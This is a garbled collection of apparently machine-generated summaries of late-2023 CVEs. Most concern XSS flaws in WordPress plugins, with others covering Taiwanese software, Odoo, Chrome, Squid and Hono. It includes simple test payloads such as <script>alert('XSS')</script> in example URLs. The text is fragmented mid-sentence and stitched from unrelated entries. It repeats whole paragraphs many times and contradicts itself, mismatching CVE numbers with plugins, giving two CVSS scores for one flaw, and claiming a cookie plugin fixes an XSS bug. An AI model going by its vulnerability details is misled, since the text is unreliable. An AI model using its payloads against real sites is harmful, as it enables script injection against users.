CVE-2023-49823, where user input is used directly in generating web pages without proper sanitization. An attacker can inject a malicious script into a WordPress page generated by the Bold Page Builder plugin. Once the script is executed, it can steal sensitive information or perform other malicious actions. This vulnerability is known as 'Stored Cross-site Scripting (XSS)', found in the 'Biteship Regular, Kargo' plugin up to and including version 2.2.24. Administrators should update to a version after 2.2.24, if available. This vulnerability allows an attacker to inject malicious code into the web application, potentially stealing sensitive information. Often such vulnerabilities are reported by security researchers or found through internal audits or penetration testing. A detailed description of the exploit can be found in the following URL: <https://patchstack.com/database/vulnerability/biteship/wordpress-biteship-plugin-2-2-2-cross-site-scripting-vulnerability>. An example of an attack exploiting CVE-2023-49767 might involve an attacker entering a malicious JavaScript payload into the 'Biteship' plugin's configuration settings. This payload could be designed to execute a specific action or steal sensitive information.

Developed by WebFactory Ltd.

sions from the start up to version 2.3.

tly provided, but users should refer to the referenced link or the plugin developer's website for the latest information. The 'Guest Author' plugin allows an attacker to inject and execute malicious scripts in the context of other users' sessions. Po

the latest version of the Guest Author plugin that includes a fix for this vulnerability. If a patch is not yet available, an attacker can use the 'GDPR Cookie Consent' plugin to fix the XSS flaw.

on, commonly known as a Stored Cross-site Scripting (XSS) vulnerability. This flaw is present in the Supsystic GDPR Cookie Consent plugin and allows an attacker to insert malicious scripts into the web pages generated by the affected plugin. These scripts can the

lclude all versions up to and including 2.1.2.

stic GDPR Cookie Consent plugin to a version that fixes the XSS flaw. If no such version is available, con

ces: <https://patchstack.com/database/vulnerability/gdpr-compliance-by-supystic/wordpress-gdpr-compliance-by-supystic-cve-2023-49190>. The 'Supystic GDPR Cookie Consent' plugin is responsible for generating cookie consent forms. An attacker can exploit this vulnerability by injecting a malicious script and embedding it within a cookie consent form created by the Supystic GDPR Cookie Consent plugin. This can lead to various types of attacks, such as session hijacking or data theft.

Offline Or Coming Soon Or Maintenance Mode plugin for WordPress. This vulnerability arises from maintenance Mode plugin versions from the initial release up to and including version 1.5.6.

Patchstack's database at this URL: <https://patchstack.com/database/vulnerability/site-offline/wordpr> formation available.

ious script and embedding it into website contents of a vulnerable Site Offline Or Coming Soon Or Mai  
nput During Web Page Generation' known as a Cross-site Scripting (XSS) issue. It affects the Social Sha  
etsocial, S.A., also known as GetSocial.io. This plugin is used within WordPress websites to enable soci  
versions up to and including 4.3.12. It's important for users of this plugin to update to a version beyond  
nerability allows attackers to inject malicious scripts into web pages which are then served to other us  
/aScript code into areas of the GetSocial.io plugin where user input is accepted, such as in comment bo  
link, which leads to a Patchstack webpage detailing the vulnerability: <https://patchstack.com/database>  
· has not been assigned to CVE-2023-49189. CVSS scores are used to measure the severity of vulnerabi  
strators of the plugin to take note of this date, as it indicates when the vulnerability was officially recor  
und in the plugin 'Track Geolocation Of Users Using Contact Form 7' for WordPress. It refers to the Imp  
Geolocation Of Users Using Contact Form 7' plugin, specifically versions up to and including 1.4.

<https://patchstack.com/database/vulnerability/track-geolocation-of-users-using-contact-form-7/wordpress-trac>

lly crafted payload through a form on a WordPress site that utilizes the vulnerable plugin. This payload

art version (not available) up to but not including version 3.1.4.

atched starting with version 3.1.4.

containing XSS payloads targeting specific page inputs or parameters. When an unsuspecting user clic  
: website at the following URL: <https://patchstack.com/database/vulnerability/adifier/wordpress-adifi>

erce Search plugin. This vulnerability is classified as a Reflected Cross-site Scripting (XSS) issue, which  
SS. This type of vulnerability allows an attacker to insert malicious scripts into a webpage, which are tl  
-49185. This plugin is designed to improve search functionality within WordPress sites using WooCom  
a script payload. When an unsuspecting user clicks on this URL or is redirected to it, the script execute:  
tabase/vulnerability/doofinder-for-woocommerce/wordpress-doofinder-wp-woocommerce-search-pl

ed link to a user with the intention of stealing sensitive data. Once the link is clicked, the attacker's pa  
mediately update the plugin to a version that patches the vulnerability if such a version is available. Adc  
' which is commonly known as a Stored Cross-site Scripting (XS  
s Parallax Slider Block plugin.

cripts into web pages viewed by other users, leading to unauthorized access to user session tokens, we  
to and including version 1.2.4.

ed in the CVE's reference field: <https://patchstack.com/database/vulnerability/parallax-slider-block/w>  
licious script into the vulnerable Parallax Slider Block plugin. This script could be executed in the conte  
al mitigation strategy for XSS vulnerabilities includes updating the affected plugin to a version where tl

works Auto-Poster' plugin for WordPress. It is characterized as an Improper Neutralization of Input Dur

ans that the vulnerability allows attackers to inject malicious scripts into a web page which are then re  
» to and including version 4.4.2.

ovided in the references: <https://patchstack.com/database/vulnerability/social-networks-auto-poster>  
script code that is designed to execute when a victim clicks on the link or accesses the manipulated URL  
vided CVE summary.

a phishing email containing a link to a legitimate site with the NextScripts: Social Networks Auto-Post

ch is categorized as a 'Cross-site Scripting' (XSS) vulnerability.

and Titles' for WordPress.

Categories and Titles' plugin from 'n/a' through version 2.7.10.

<https://patchstack.com/database/vulnerability/list-all-posts-by-authors-nested-categories-and-titles/wordpress-list>  
bedded JavaScript code. When a victim visits the link, the JavaScript would execute within the context

URL parameter being inserted directly into HTML content without proper sanitization. For example: `<c  
» During Web Page Generation', also known as Cross-site Scripting (XSS), found in the WP Event Man  
including 3.1.40. Administrators should look for any updates or patches beyond this version to address  
» the affected web pages. This code can be stored in the database through inputs that are not properly  
context of the affected application. This may lead to a variety of attacks such as stealing session cookie

» found on security advisory websites like Patchstack. A dedicated URL providing details for this vulne  
se score would be a part of the CVSS (Common Vulnerability Scoring System) and would help determin  
ed XSS. Stored XSS occurs when a malicious script is permanently stored on a target server, such as in a

» on, specifically a Cross-site Scripting (XSS) vulnerability, in the Ternstyle LLC Automatic Youtube Video F

initial release up to and including version 5.2.2.

IRL: [https://patchstack.com/database/vulnerability/automatic-youtube-video-posts/wordpress-autor](https://patchstack.com/database/vulnerability/automatic-youtube-video-posts/wordpress-automatic-youtube-video-posts-wordpress-autor)  
malicious JavaScript code into the web application's database through the plugin. This code is then re  
Scoring System) assigned to CVE-2023-49180.

re of the N.O.U.S. Open Useful and Simple software, specifically affecting versions n/a through 5.8.6. T  
» security issue where an attacker can include malicious scripts into content that is then served to other u  
t includes malicious scripts to the 'Event post' feature of the affected software. If this input is improper  
software, specifically versions n/a through 5.8.6. Users using these versions are at risk and should consid  
cript and submitting it to the website through the 'Event post' feature. When legitimate users visit the  
<https://patchstack.com/database/vulnerability/event-post/wordpress-event-post-plugin-5-8-6-cross-s>

may mean that the vulnerability has not been fully analyzed for its impact or that this detail was not a  
VE-2023-49178.

a Video Player & Video Gallery plugin.

» eration' vulnerability, more commonly known as Cross-site Scripting (XSS).

by CVE-2023-49178.

ample of exploiting a reflected XSS vulnerability like CVE-2023-49178 could involve an attacker constructing a link containing a malicious script and sending it to unsuspecting users. If a user clicks on the link or visits the page, the generation is CVE-2023-49177.

This, commonly known as a Cross-site Scripting (XSS) vulnerability.

is reflected off a web server, such as in an error message or search result. When a user triggers the injection, the plugin up to and including version 4.9.0.

patchstack.com/database/vulnerability/which-template-file/wordpress-which-template-file-plugin-4-9-177, can include theft of cookies, session tokens, or other sensitive data stored by the browser. The

on ('Cross-site Scripting') vulnerability' in the CodeRevolution WP Pocket URLs WordPress plugin. This versions up to and including 1.0.2.

patchstack.com/database/vulnerability/wp-pocket-urls/wordpress-wp-pocket-urls-plugin-1-0-2-reflected-cross-site-scripting-vulnerability, might look like this: Suppose a vulnerable plugin has a search function that does not properly escape the URL containing a script and trick users into clicking it or visiting it directly. When the user accesses the page, the released. However, the affected versions are listed as 'from n/a through 1.0.2,' suggesting that users are affected during Web Page Generation, commonly known as 'Cross-site Scripting' or XSS. This particular vulnerability occurs in a victim's browser due to the plugin's failure to properly sanitize user input. Users affected by the vulnerability can payload and injecting it into the plugin data fields that are improperly sanitized. When another user visits up to and including 1.1.1.

patchstack.com/database/vulnerability/kp-fastest-tawk-to-chat/wordpress-kp-fastest-tawk-to-chat-plugin-2-4-1, example of a Stored XSS vulnerability would be a web application that stores user input, such as a comment. Input During Web Page Generation ('Cross-site Scripting'), also known as Stored Cross-site Scripting (XSS). Specifically, the vulnerability impacts all versions from the initial release up to version 2.4.5.

patchstack.com/database/vulnerability/responsive-lightbox/wordpress-responsive-lightbox-plugin-2-4-1, e following into a vulnerable input field within the dFactory Responsive Lightbox & Gallery plugin:<script> that is stored on the website's server. When other users visit the affected pages, the stored scripts are executed. The WordPress plugin is CVE-2023-49170.

This, more commonly known as a Reflected Cross-site Scripting (XSS) vulnerability.

-49170 up to version 2.5.3.

<https://patchstack.com/database/vulnerability/captainform/wordpress-forms-by-captainform-form-built-in-vulnerability> victim. The URL might include a script in one of the parameters that the web application does not correctly validate. This could be a script provided by the developers that contains a fix for this vulnerability. It is also recommended to regularly update the application's codebase to fix known vulnerabilities.

9 on the Patchstack website at the following URL: [https://patchstack.com/database/vulnerability/ads-by-datafeedr.com-plugin-stored-xss-vulnerability](https://patchstack.com/database/vulnerability/ads-by-datafeedr-com-plugin-stored-xss-vulnerability). A detailed example of a stored XSS attack could look like the following: An attacker might submit a form or update the URL to include malicious script code into the web application's database through the Ads by datafeedr.com plugin. The stored script code will then be executed when the page is generated.

The following URL provides details specific to this vulnerability: [https://patchstack.com/database/vulnerability/ads-by-datafeedr.com-plugin-stored-xss-vulnerability](https://patchstack.com/database/vulnerability/ads-by-datafeedr-com-plugin-stored-xss-vulnerability). CVE-2023-49165.

This vulnerability, commonly known as a Stored Cross-site Scripting (XSS) vulnerability, is present in the Real Big Plugins

IRL: <https://patchstack.com/database/vulnerability/client-dash/wordpress-client-dash-plugin-2-2-1-cross-site-scripting-vulnerability>. A detailed example of a stored XSS attack could look like the following: An attacker might submit a form or update the URL to include malicious script code into the web pages generated by the compromised plugin. For example: '<script>alert('XSS');</script>' will be injected into a vulnerable section of the Client Dash plugin. When an administrator or user views the page, the malicious script will be executed during web page generation.

This vulnerability, commonly known as Cross-site Scripting (XSS), is found in the Formzu WP plugin.

This vulnerability impacts the Formzu WP plugin. Stored XSS vulnerabilities occur when user input is not properly validated.

The severity of the vulnerability is indicated on a scale from 0 to 10, where 10 indicates the highest severity.

The following URL provides details specific to this vulnerability: <https://patchstack.com/database/vulnerability/formzu-wp/wordpress-formzu-wp-plugin-1-6-6-cross-site-scripting-vulnerability>. A detailed example of a stored XSS attack could look like the following: An attacker might submit a malicious script through a form input or other vulnerable input field in the Formzu WP plugin. For example: '<script>alert('XSS');</script>' will be injected into a vulnerable section of the Client Dash plugin. When an administrator or user views the page, the malicious script will be executed during web page generation.

This vulnerability, commonly known as Cross-site Scripting (XSS), is found in the Formzu WP plugin.

This vulnerability impacts the Formzu WP plugin. Stored XSS vulnerabilities occur when user input is not properly validated.

The severity of the vulnerability is indicated on a scale from 0 to 10, where 10 indicates the highest severity.

This vulnerability, commonly known as Cross-site Scripting (XSS), is found in the Formzu WP plugin.

This vulnerability impacts the Formzu WP plugin. Stored XSS vulnerabilities occur when user input is not properly validated.

The severity of the vulnerability is indicated on a scale from 0 to 10, where 10 indicates the highest severity.

This vulnerability, commonly known as Cross-site Scripting (XSS), is found in the Formzu WP plugin.

This vulnerability impacts the Formzu WP plugin. Stored XSS vulnerabilities occur when user input is not properly validated.

The severity of the vulnerability is indicated on a scale from 0 to 10, where 10 indicates the highest severity.

This vulnerability, commonly known as Cross-site Scripting (XSS), is found in the Formzu WP plugin.

This vulnerability impacts the Formzu WP plugin. Stored XSS vulnerabilities occur when user input is not properly validated.

The severity of the vulnerability is indicated on a scale from 0 to 10, where 10 indicates the highest severity.

This vulnerability, commonly known as Cross-site Scripting (XSS), is found in the Formzu WP plugin.

This vulnerability impacts the Formzu WP plugin. Stored XSS vulnerabilities occur when user input is not properly validated.

The severity of the vulnerability is indicated on a scale from 0 to 10, where 10 indicates the highest severity.

This vulnerability, commonly known as Cross-site Scripting (XSS), is found in the Formzu WP plugin.

This vulnerability impacts the Formzu WP plugin. Stored XSS vulnerabilities occur when user input is not properly validated.

The severity of the vulnerability is indicated on a scale from 0 to 10, where 10 indicates the highest severity.

This vulnerability, commonly known as Cross-site Scripting (XSS), is found in the Formzu WP plugin.

This vulnerability impacts the Formzu WP plugin. Stored XSS vulnerabilities occur when user input is not properly validated.

The severity of the vulnerability is indicated on a scale from 0 to 10, where 10 indicates the highest severity.

This vulnerability, commonly known as Cross-site Scripting (XSS), is found in the Formzu WP plugin.

This vulnerability impacts the Formzu WP plugin. Stored XSS vulnerabilities occur when user input is not properly validated.

The severity of the vulnerability is indicated on a scale from 0 to 10, where 10 indicates the highest severity.

The information about this vulnerability can be found via the reference link provided, such as the one for malicious script or executable disguised as a benign file. Once uploaded, the attacker could potentially implement strict file upload controls that validate file types and prevent the upload of executable and dynamic files. The CVSS rating or scoring might not have been determined or disclosed yet.

ttendance system, which could allow a remote attacker with regular user privileges to obtain partial se

The attendance system.

ial sensitive system information through error messages.

[cert.org.tw/tw/cp-132-7623-5660d-1.html](http://cert.org.tw/tw/cp-132-7623-5660d-1.html)

or user access attempting various actions or inputs within the WebITR system. If the attacker encounters a system. This security flaw is due to the system's use of a hard-coded encryption key, which allows an attacker or software of the Kaifa Technology WebITR to discover the hard-coded encryption key. Once the key is obtained, impersonation of legitimate users, elevation of privileges, manipulation of attendance data, and theft of sensitive information become feasible.

that removes the hard-coded encryption key and replaces it with a secure implementation that does not use the hard-coded key. This patch can be found at <https://www.twinkl.org/tw/cp-132-7622-57e5f-1.html>, which may provide additional details or context about the vulnerability. The vulnerability allows an unauthenticated remote attacker to inject and execute arbitrary code into the vulnerable system, typically through input fields or other data structures. This is a remote code injection vulnerability that allows unauthenticated remote attackers to perform arbitrary system operations. A system may be vulnerable to remote code injection if it hasn't been patched for this specific CVE.

W-CERT at <https://www.twcert.org.tw/tw/cp-132-7605-2d86d-1.html>.

operations. This includes but is not limited to accessing sensitive data, modifying system configuration and request to the Multisuns EasyLog web+ service. The request would contain malicious code, which, w  
3-48389.

pplication takes user input to access files and directories on the server file system. An attacker can ex

ary system files on the affected system.

[twcert.org.tw/cp-132-7604-ab0fd-1.html](http://twcert.org.tw/cp-132-7604-ab0fd-1.html)

fected HTTP request to the affected web application. The attacker would include directory traversal sequences, updates and patches, input validation to prevent malicious inputs from being processed, use of proxy

the use of hard-coded credentials, which could allow a remote attacker to exploit this weakness to gain access to the system and perform a variety of malicious activities. This could include accessing sensitive data, modifying files, or executing commands. The Base Score is part of the Common Vulnerability Scoring System (CVSS) which quantifies the severity of a vulnerability based on its impact and likelihood of exploitation.

L: <https://www.twcert.org.tw/tw/cp-132-7603-b1061-1.html>

ded credentials to log into the Multisuns EasyLog web+ system. This could enable the attacker to gain

48387.

s insufficient filtering for special characters in Registry-related functions, leading to a Stored Cross-Site Scripting (XSS) attack. The remote attacker can exploit this vulnerability to perform XSS attacks, potentially compromising the integrity and confidentiality of user data. If exploited, it could lead to unauthorized access or data theft. It is important to note that the vulnerability has not yet been fully analyzed or rated by a Common Vulnerability Scoring System.

posted by TWCERT/CC at the following URL: <https://www.twcert.org.tw/tw/cp-132-7602-a47a2-1.html>

The integration platform. This vulnerability exists because the file uploading function does not properly re-

attacker to upload arbitrary files containing malicious code to the SmartStar Software CWS platform. This was reported by TW-CERT, which is available at <https://www.twcert.org.tw/tw/cp-132-7595-d58b1-1.html>. The vulnerability allows an attacker to upload potentially harmful files to a web-based platform without any proper restrictions. This lack of validation can lead to various security issues, such as file injection or remote code execution. The Base Score helps to indicate the severity of the vulnerability; however, further analysis may be required to determine the exact nature and scope of the threat. It is important to note that the vulnerability was discovered through a penetration test, which means it was disguised as a benign file type due to the lack of proper file type validation on the SmartStar Software CWS platform. As a web-based integration platform, the vulnerability is related to missing authorization mechanisms, which could allow unauthorized users to access sensitive data or perform unauthorized actions. The CVSS score of 6.1 indicates that the vulnerability has a medium level of severity, but it is still a significant concern for the organization's security posture. The assigned score of 6.1 reflects the complexity of the exploit and the potential impact if exploited successfully. However, considering the nature of the vulnerability, it is likely that a more severe score would have been assigned if the attack vector was more sophisticated or if it could be exploited in a real-world scenario.

Taiwan Computer Emergency Response Team Coordination Center (TW-CERT) at the following URL: <https://www.twcert.org.tw/tw/cp-132-7>

ermal privileges issuing commands or performing actions typically reserved for administrators. This can't be possible to provide an accurate code example demonstrating the CVE-2023-48375 vulnerability as it depends on specific application mechanisms that the vulnerability exploits. This would include implementing or repairing role-based access control or privilege separation mechanisms. This vulnerability arises due to the use of a hard-coded account with low privilege, which allows an unauthenticated attacker to execute partial processes and access certain non-sensitive information. Therefore, they can't disrupt service or obtain sensitive information using this exploit. For publicly accessible instances of SmartStar Software CWS. Upon finding one, they could use the known exploit to gain unauthorized access to the system. The Taiwan Computer Emergency Response Team's (TW-CERT) website at the following URL: <https://www.twcert.org.tw/tw/cp-132-7>

in context of the information available.

ki Dynamic Progress Bar, also known as web progress, which affects multiple versions including 11.0 t

rogress Bar software, including version series 11.0, 12.0, 13.0, 14.0, 15.0, and 16.0, with specific patch  
e for the 'recency' parameter in a request to the 'models/web\_progress.py' component of the Dynamico  
t with the fix can be found on GitHub at: <https://github.com/gmarczynski/odoo-web-progress/commit>  
L injection vulnerability. This type of vulnerability can allow an attacker to manipulate SQL queries and  
'bsite Blog Search module versions 13.0 through 13.0.1.0.1. It allows a remote attacker to execute arl  
through the 'name' parameter in the website search blog module's search functionality. If the input is

execute arbitrary code, manipulate the database, extract sensitive data, and potentially elevate their privilege at the following GitHub URL: [https://github.com/lvsn/OdZoo/tree/main/exploits/website\\_search](https://github.com/lvsn/OdZoo/tree/main/exploits/website_search)

The application. Depending on the specifics of the exploitation and the website's configuration, this could exploit a vulnerability; in general, a SQL injection in this context might involve an attacker providing

d sanitizing all user inputs, using prepared statements with parameterized queries, employing object-  
Chrome. It's described as a 'use after free' issue that could allow a remote attacker to potentially explo-  
ML page that triggers a 'use after free' condition in the WebRTC component of Google Chrome. When ;  
ng these earlier versions are advised to update to at least version 120.0.6099.109 to mitigate the risks

re:- The official Google Chrome Releases blog post about the update containing the fix: <https://chromesecurity.googleblog.com/2023/12/fixes-for-chrome-120.html>. The program continues to use a pointer to a block of memory after it has been freed. When this happens, ; from causing the Chrome browser to crash (denial of service) to giving attackers the ability to execute cases, users and administrators should refer to the description and impact analysis of the vulnerability

ie Hono web framework.

om previous requests. This could potentially allow a privileged user to use unintended parameters when 13.11.7.

eb framework until the application can be updated to version 3.11.7 which contains the fix for this issue 4 December 2023.

ommit that fixes the issue: <https://github.com/honojs/hono/commit/8e2b6b08518998783f66d31db4f>. It involves an Uncontrolled Recursion bug that affects various versions of Squid and can lead to a denial of service, and versions 6.0.1 through 6.5.

r the issue. Additionally, for stable releases, patches addressing this problem are available in the Squic note client. This is achieved by sending a maliciously crafted X-Forwarded-For HTTP header to exploit t es are available at the following URLs: [http://www.squid-cache.org/Versions/v5/SQUID-2023\\_10.patc](http://www.squid-cache.org/Versions/v5/SQUID-2023_10.patc). It involves an Uncontrolled Recursion bug that affects various versions of Squid. An attacker could disrupt the normal operations of the proxy, potentially rendering i a denial of service. Patches for stable releases have been made available in the Squid's patch a bug within Squid's HTTP Request parsing. The vulnerability is triggered when the proxy processes a l Input During Web Page Generation' or a 'Cross-site Scripting (XSS)' vulnerability. This particular flaw is ws the injection of malicious scripts into web pages which are then stored and can be executed when eless, developed by Andreas Münch.

ss from its inception up to version 1.1.1.

ever, it is generally recommended for users to update the affected plugin to a version where the vulne

re references: <https://patchstack.com/database/vulnerability/multiple-post-passwords/wordpress-multiple-post-passwords>. It involves a Cross-site Scripting (XSS) vulnerability by submitting a post or comment containing malicious JavaScript code to a WordPress plugin during web page generation, also known as Cross-site Scripting (XSS), in the Labs64 Credit Tracker. T CVE-2023-49152.

its initial version up to and including version 1.1.17.

can pose a significant security risk, potentially allowing attackers to execute scripts in the user's browser.

ovided URL reference: <https://patchstack.com/database/vulnerability/credit-tracker/wordpress-credit-tracker-cross-site-scripting-xss>. It involves a Cross-site Scripting (XSS) vulnerability by submitting a malicious script and injecting it into the Labs64 Credit Tracker plugin's web page, for instance through a u

erable to CVE-2023-49151.

carry out Stored Cross-site Scripting (XSS) attacks, which could result in unauthorized actions being ta

[patchstack.com/database/vulnerability/google-calendar-events/wordpress-google-calendar-events-plugin](https://patchstack.com/database/vulnerability/google-calendar-events/wordpress-google-calendar-events-plugin)

us JavaScript code into the web page rendered by the Simple Calendar – Google Calendar Plugin. The issue is provided without access to the plugin's source code or disclosure of exploit details, a typical Stored XSS vulnerability. This vulnerability allows a malicious actor to perform cross-site scripting (XSS) as it stems from a plugin version.

[patchstack.com/database/vulnerability/we-devs-project-manager-wordpress-wp-project-manager-cross-site-scripting-xss/](https://patchstack.com/database/vulnerability/we-devs-project-manager-wordpress-wp-project-manager-cross-site-scripting-xss/)

iblisher.hitachienergy.com/preview?DocumentId=8DBD000176&languageCode=en&Preview=true

y designed script which is executed in a user's browser when the victim visits a compromised page on the website. The plugin fails to adequately sanitize user input, which makes it susceptible to cross-site scripting (XSS). This means that a malicious actor can inject harmful scripts into the page content. An example of a cross-site scripting vulnerability generally involves scenarios such as: HTML injection, CSS injection, and JavaScript injection. The specific vulnerability identified in the plugin is CVE-2023-49860.

on', which is a Cross-site Scripting (XSS) vulnerability in the weDevs WP Project Manager plugin for WordPress.

URL: <https://patchstack.com/database/vulnerability/wedevs-project-manager/wordpress-wp-project-manager-cross-site-scripting-xss/>

It and embedding it within the web pages served by the WP Project Manager plugin. When an authenticated user visits a page containing the malicious script, it will be executed in their browser. The URL of a stored XSS attack might look like this: An attacker submits a form or comment within the plugin's interface, and the plugin saves the input to its database.

oming Soon Page plugin for WordPress. It specifically pertains to an 'Improper Neutralization of Input' vulnerability. The plugin fails to properly sanitize user input, which can allow attackers to inject malicious scripts into the page content. This is a common vulnerability found in many WordPress plugins.

script through a vulnerable input field in the Rocket Maintenance Mode & Coming Soon Page plugin's settings.

by Patchstack, which is available at the following URL: <https://patchstack.com/database/vulnerability/we-devs-project-manager-wordpress-wp-project-manager-cross-site-scripting-xss/>

is common for recently published vulnerabilities not to have a CVSS (Common Vulnerability Scoring System) score assigned. Today's vulnerability is a Cross-Site Scripting (XSS) vulnerability, with a CVSS score of 7.5 and a base score of 6.1.

ons. XSS attacks occur when an attacker manages to inject malicious scripts into web pages viewed by users. This can involve an attacker submitting a form that includes a malicious JavaScript snippet, something like `<script>alert('XSS')</script>` and submit it through the Crypto Converter Widget. If the input is not properly sanitized, this script can be executed in the user's browser.

The Base Score is generally a numerical value that reflects the severity of the vulnerability which is usually between 0 and 10. A score of 6.1 is considered medium-severe. The CVSS score of 7.5 indicates that this vulnerability has a high impact.

This vulnerability is specifically versions from the initial release up to and including 1.3.1.

ting (XSS) attacks, which can lead to unauthorized script execution in the context of a user's browser, particularly in the context of the plugin. Imagine a scenario where a website allows users to submit data to the plugin. An attacker could exploit this by injecting malicious scripts into the Currency Converter Calculator that are then stored and executed when other users interact with the plugin. The specific vulnerability identified in the plugin is CVE-2023-49149.

The URL of the vulnerability is: <https://patchstack.com/database/vulnerability/currency-converter-calculator-wordpress-plugin-cross-site-scripting-xss/>

This vulnerability is categorized as a Stored Cross-Site Scripting (XSS) vulnerability. It allows an attacker to inject malicious scripts into web pages, which are then saved and can be executed by other users.

including 1.7.6. Users of the plugin should update to a version that has implemented a fix for this vulnerability and submitting it through inputs on the WP Catalogue plugin that are not properly sanitized. Writing into a form field in the WP Catalogue plugin that accepts user inputs, like a product description or image URL, the plugin should first update the plugin to the latest version that addresses this vulnerability. This may be found at the URL provided in the original CVE report. The advisory likely contains details on the vulnerability and integrity of a website. They allow attackers to persistently embed malicious scripts in webpages, such as During Web Page Generation (Cross-site Scripting) found in the Bruno "Aesqe" Basic File Gallery. This vulnerability affects the plugin up to and including version 1.8.5.4.

This vulnerability allows an attacker to inject malicious scripts into a webpage, which are then reflected back in the context of the affected website's domain. This could lead to a variety of malicious activities such as found at the URL provided in the original CVE report. The advisory likely contains details on the vulnerability where an attacker crafting a URL with a malicious script included as a parameter: <https://example.com/vulnerability>. Updating the Aparat plugin to the latest version that addresses this security issue. Additionally, they can implement another vulnerability, which affects the Aparat plugin on WordPress up to version 1.7.1. This vulnerability allows an attacker to inject malicious scripts into a webpage, which are then reflected back in the context of the affected website's domain. This could lead to a variety of malicious activities such as During Web Page Generation (Cross-site Scripting) found in the Bruno "Aesqe" Basic File Gallery. This vulnerability affects the plugin up to and including version 1.7.1.

This vulnerability involves the improper neutralization of user input during web page generation.

patchstack.com/database/vulnerability/aparat/wordpress-aparat-plugin-1-7-1-cross-site-scripting-xss-vulnerability. This vulnerability allows an attacker to inject malicious scripts into a webpage, which are then reflected back in the context of the affected website's domain. This could lead to a variety of malicious activities such as found at the URL provided in the original CVE report. The advisory likely contains details on the vulnerability where an attacker crafting a URL with a malicious script included as a parameter: <https://example.com/vulnerability>. Updating the Aparat plugin to the latest version that addresses this security issue. Additionally, they can implement another vulnerability, which affects the Aparat plugin on WordPress up to version 1.7.1. This vulnerability allows an attacker to inject malicious scripts into a webpage, which are then reflected back in the context of the affected website's domain. This could lead to a variety of malicious activities such as During Web Page Generation (Cross-site Scripting) found in the Bruno "Aesqe" Basic File Gallery. This vulnerability affects the plugin up to and including version 1.7.1.

This vulnerability, which is more commonly referred to as a Reflected Cross-Site Scripting (XSS) vulnerability, is present in versions of the plugin up to and including 2.0.3.

This vulnerability allows an attacker to inject malicious JavaScript to an unsuspecting user. If the user clicks on the link or enters the URL into their browser, the JavaScript will be executed. For example, if the URL is [http://example.com/page.php?input=<script>alert\('XSS'\)</script>](http://example.com/page.php?input=<script>alert('XSS')</script>). When a user visits this URL, the JavaScript within the 'input' field will be executed, potentially stealing session tokens, or other sensitive information from the victim's browser, leading to defacement of the web page.

This vulnerability can be exploited by an attacker by crafting a malicious URL with embedded JavaScript code, which is then executed in the user's browser. For example, if the URL is [http://example.com/page.php?input=<script>alert\('XSS'\)</script>](http://example.com/page.php?input=<script>alert('XSS')</script>).

This vulnerability allows an attacker to inject malicious JavaScript to an unsuspecting user. If the user clicks on the link or enters the URL into their browser, the JavaScript will be executed. For example, if the URL is [http://example.com/page.php?input=<script>alert\('XSS'\)</script>](http://example.com/page.php?input=<script>alert('XSS')</script>). When a user visits this URL, the JavaScript within the 'input' field will be executed, potentially stealing session tokens, or other sensitive information from the victim's browser, leading to defacement of the web page.

This vulnerability can be exploited by an attacker by crafting a malicious URL with embedded JavaScript code, which is then executed in the user's browser. For example, if the URL is [http://example.com/page.php?input=<script>alert\('XSS'\)</script>](http://example.com/page.php?input=<script>alert('XSS')</script>).

This vulnerability allows an attacker to inject malicious JavaScript to an unsuspecting user. If the user clicks on the link or enters the URL into their browser, the JavaScript will be executed. For example, if the URL is [http://example.com/page.php?input=<script>alert\('XSS'\)</script>](http://example.com/page.php?input=<script>alert('XSS')</script>). When a user visits this URL, the JavaScript within the 'input' field will be executed, potentially stealing session tokens, or other sensitive information from the victim's browser, leading to defacement of the web page.

This vulnerability allows an attacker to inject malicious JavaScript to an unsuspecting user. If the user clicks on the link or enters the URL into their browser, the JavaScript will be executed. For example, if the URL is [http://example.com/page.php?input=<script>alert\('XSS'\)</script>](http://example.com/page.php?input=<script>alert('XSS')</script>). When a user visits this URL, the JavaScript within the 'input' field will be executed, potentially stealing session tokens, or other sensitive information from the victim's browser, leading to defacement of the web page.

This vulnerability allows an attacker to inject malicious JavaScript to an unsuspecting user. If the user clicks on the link or enters the URL into their browser, the JavaScript will be executed. For example, if the URL is [http://example.com/page.php?input=<script>alert\('XSS'\)</script>](http://example.com/page.php?input=<script>alert('XSS')</script>). When a user visits this URL, the JavaScript within the 'input' field will be executed, potentially stealing session tokens, or other sensitive information from the victim's browser, leading to defacement of the web page.

an attacker injecting a malicious script into an input field or data store, which is later rendered in a web page. This vulnerability allows an attacker to execute scripts in the context of other users' browsers. The attacker could send phishing links to users, which would then execute the malicious code.

Patchstack is affected by the CVE-2023-49820 vulnerability.

'nalization of Input During Web Page Generation'.

nt (JSON-LD) #wpsc WordPress plugin. It allows attackers to inject and execute arbitrary malicious scripts in JSON-LD output. The plugin has been assigned the identifier CVE-2023-49820.

<https://patchstack.com/database/vulnerability/structured-content/wordpress-structured-content-json-ld-wpsc-plugin-cve-2023-49820>

CVE-2023-49820.

a comment containing malicious JavaScript code to the affected plugin. Due to the improper neutralization of input during web page generation, an attacker could update to a version that addresses the vulnerability, which would be later than 1.5.3. Moreover, it is important to note that this vulnerability affects all versions of the plugin up to and including version 1.5.3. It involves an Improper Neutralization of Input During Web Page Generation, which is a common security issue.

CVSS score of 5.0.

owed by other users. This could lead to various malicious activities such as stealing user session tokens or performing other unauthorized actions. The Common Vulnerability Scoring System (CVSS) base score for this vulnerability is 5.0.

<https://patchstack.com/database/vulnerability/wp-photo-album-plus/wordpress-wp-photo-album-plus-cve-2023-49820>

The malicious script is permanently stored on the target server and executed in the browser of every user who visits the website. It is recommended to update to the latest version that has patched the vulnerability. Web administrators should also conduct regular security audits and monitor their website for any suspicious activity.

'nalization of Input During Web Page Generation,' or more commonly, a Reflected Cross-site Scripting (XSS) vulnerability. This vulnerability was present in the plugin from the initial release up to version 5.0.2. Users of the plugin should update to a patched version containing a script, and enticing a user to click on it. When the user clicks the link, the script is reflected back to the user's browser, allowing the attacker to steal sensitive information. Often, vulnerabilities are scored using the Common Vulnerability Scoring System (CVSS). Once enough information is gathered, they are typically documented and published in public databases.

'n as Link Log.

The plugin from version 5.0.2 up to and including version 5.0.2.

This vulnerability is caused by an improper neutralization of input during web page generation.

